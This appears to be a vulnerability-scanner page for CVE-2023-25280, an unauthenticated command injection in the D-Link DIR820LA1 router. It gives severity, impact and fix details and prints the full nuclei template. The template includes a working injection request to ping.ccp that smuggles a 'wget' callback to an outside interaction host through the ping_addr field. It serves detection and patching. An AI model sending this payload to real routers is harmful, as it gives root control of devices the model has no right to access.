D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection

Exploited in the wild. Listed by CISA on 2024-09-30; known to be used by ransomware.

criticalseverity

9.8CVSS score

97.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

OS Command injection vulnerability in D-Link DIR820LA1_FW105B03 allows attackers to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.

Impact

Unauthenticated attackers can execute arbitrary OS commands with root privileges on the D-Link DIR820LA1 router, leading to complete device compromise and network takeover.

Fix

Upgrade to the latest firmware version from D-Link or replace the affected device with a patched model.

How to confirm it

Send: GET /
Positive when: status_code == 200 and contains(body, 'D-LINK')
Send: POST /ping.ccp
Positive when: contains(interactsh_protocol, 'http') and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-25280 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2023-25280

info:
  name: D-Link DIR820LA1_FW105B03 'ping_addr' - OS Command Injection
  author: pussycat0x
  severity: critical
  description: |
    OS Command injection vulnerability in D-Link DIR820LA1_FW105B03 allows attackers to escalate privileges to root via a crafted payload with the ping_addr parameter to ping.ccp.
  impact: |
    Unauthenticated attackers can execute arbitrary OS commands with root privileges on the D-Link DIR820LA1 router, leading to complete device compromise and network takeover.
  remediation: |
    Upgrade to the latest firmware version from D-Link or replace the affected device with a patched model.
  reference:
    - https://github.com/migraine-sudo/D_Link_Vuln/tree/main/cmd%20Inject%20in%20pingV4Msg
    - https://www.dlink.com/en/security-bulletin/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-25280
    cwe-id: CWE-78
    epss-score: 0.97864
    epss-percentile: 0.99908
    cpe: cpe:2.3:o:dlink:dir820la1_firmware:105b03:*:*:*:*:*:*:*
  metadata:
    vendor: dlink
    product: dir820la1_firmware
  tags: cve,cve2023,rce,unauth,kev,dlink,vkev,vuln

variables:
  payload: "wget http://{{interactsh-url}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains(body, 'D-LINK')"
        condition: and
        internal: true

  - raw:
      - |
        POST /ping.ccp HTTP/1.1
        Host: {{Hostname}}
        Accept: application/xml, text/xml, */*; q=0.01
        X-Requested-With: XMLHttpRequest
        Content-Type: application/x-www-form-urlencoded
        Origin: {{RootURL}}
        Referer: {{RootURL}}/lan.asp
        Cookie: hasLogin=1

        ccp_act=pingV4Msg&ping_addr=%0a{{payload}}%0a

    matchers:
      - type: dsl
        dsl:
          - "contains(interactsh_protocol, 'http')"
          - "status_code == 200"
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from